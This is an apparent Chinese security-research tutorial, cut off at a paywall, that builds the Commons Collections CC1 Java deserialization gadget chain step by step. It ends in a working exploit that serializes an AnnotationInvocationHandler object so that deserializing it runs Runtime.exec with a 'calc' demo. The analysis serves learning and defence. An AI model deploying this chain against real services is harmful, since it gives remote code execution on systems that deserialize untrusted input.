前置知识
Java访问权限概述
对于一个类,其成员(包括成员变量和成员方法)能否被其他类所访问,取决于该成员的修饰词。在Java中,类成员的访问权限修饰词有四个:private,无(包访问权限),protected 和 public,其权限控制如下表所示:
| 同一个类中 | 同一个包中 | 不同包的子类 | 不同包的无关类 | |
|---|---|---|---|---|
| public | ✔ | ✔ | ✔ | ✔ |
| protected | ✔ | ✔ | ✔ | |
| 无(空着不写) | ✔ | ✔ | ||
| private | ✔ |
不同包中子类: 不同包通过继承获得关系
不同包中的无关类: 不同包通过直接创建对象来获得关系
反射
Java反射操作的是java.lang.Class对象,所以我们需要要先获取到Class对象。
获取Class对象的方式:
1. Class.forName("全类名"):将字节码文件加载进内存,返回Class对象
多用于配置文件,将类名定义在配置文件中。读取文件,加载类
2. 类名.class:通过类名的属性class获取
多用于参数的传递
3. 对象.getClass():getClass()方法在Object类中定义着。
多用于对象的获取字节码的方式
代码实例:
方式一:
Class cls1 = Class.forName("Domain.Person");
System.out.println(cls1);
方式二:
Class cls2 = Person.class;
System.out.println(cls2);
方式三:
Person p = new Person();
Class cls3 = p.getClass();
System.out.println(cls3);
环境部署
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>cc分析</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
CC1
流程分析
入口:org.apache.commons.collections.Transformer

入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法,InvokerTransformer相当于帮我们实现了一个反射调用,并且input,iMethodName,iParamTypes,iArgs都是可控的

因此我们可以通过InvokerTransformer类的transform方法来invoke Runtime类getRuntime对象的exec来实现rce
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1 {
public static void main(String[] args) {
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"}).transform(Runtime.getRuntime());
}
}
成功执行命令

现在的重点就是去找一个其它的类有transform方法,并且传入的Object是可控的,然后我们只要把这个Object设为InvokeTransformer即可,我们全局搜索transform方法,能够发现很多类都是有transform方法的,我们这里先研究的是CC1,所以我们直接看TransformerMap类

在TransformedMap中的checkSetValue方法中调用了transform,valueTransformer是构造的时候赋的值,再看构造函数

构造函数是一个protected,所以不能让我们直接实例赋值,只能是类内部构造赋值,找哪里调用了构造函数

一个静态方法,这里我们就能控制参数了

如果我们可以调用 TransformedMap 的 checkSetValue方法,那我们给 valueTransformer 实例就可以通过valueTransformer.transform(value) 实现 InvokerTransformer.transform(value) 从而 rce
现在调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们暂时不能控制,全局搜索checkSetValue,看谁调用了它,并且value值可受控制,在AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类



在这里假如对Java集合熟悉一点的人看到了setValue字样就应该想起来,我们在遍历集合的时候就用过setValue和getValue,所以我们只要对decorate这个map进行遍历setValue,由于TransformedMap继承了AbstractInputCheckedMapDecorator类,因此当调用setValue时会去父类寻找,写一个demo来测试一下:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:decorate.entrySet()){
entry.setValue(r);
}
}
}

我们追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue,这还省去了再去找readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
// i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
我们分析下AnnotationInvocationHandler这个类,未用public声明,说明只能通过反射调用

查看一下构造方法,传入一个Class和Map,其中Class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target,之后说为什么

构造exp:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
// for(Map.Entry entry:decorate.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
}
}
现在有个难题是Runtime类是不能被序列化的,但是反射来的类是可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:
Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"});
现在还有个小问题,其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述三段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去寻找,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法

我们就可以这样构造:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
到这一步雏形以及可以构造出来了
package org.example;
import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc1.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o);
deserialize("cc1.bin");
}
}

但是这里反序列化并不能执行命令,why?原因在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看:

要想触发setValue得先过两个if判断,先看第一个if判断,memberType不能为null,memberType其实就是我们之前传入的注解类Target的一个属性,这个属性哪里来的?就是我们最先传入的map map.put(“1”,“2”)
获取这个name:1,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类

Target是有value这个属性的,所以我们改一下map,map.put(“value”, 1),这样就过了第

最低0.47元/天 解锁文章
1060

被折叠的 条评论
为什么被折叠?



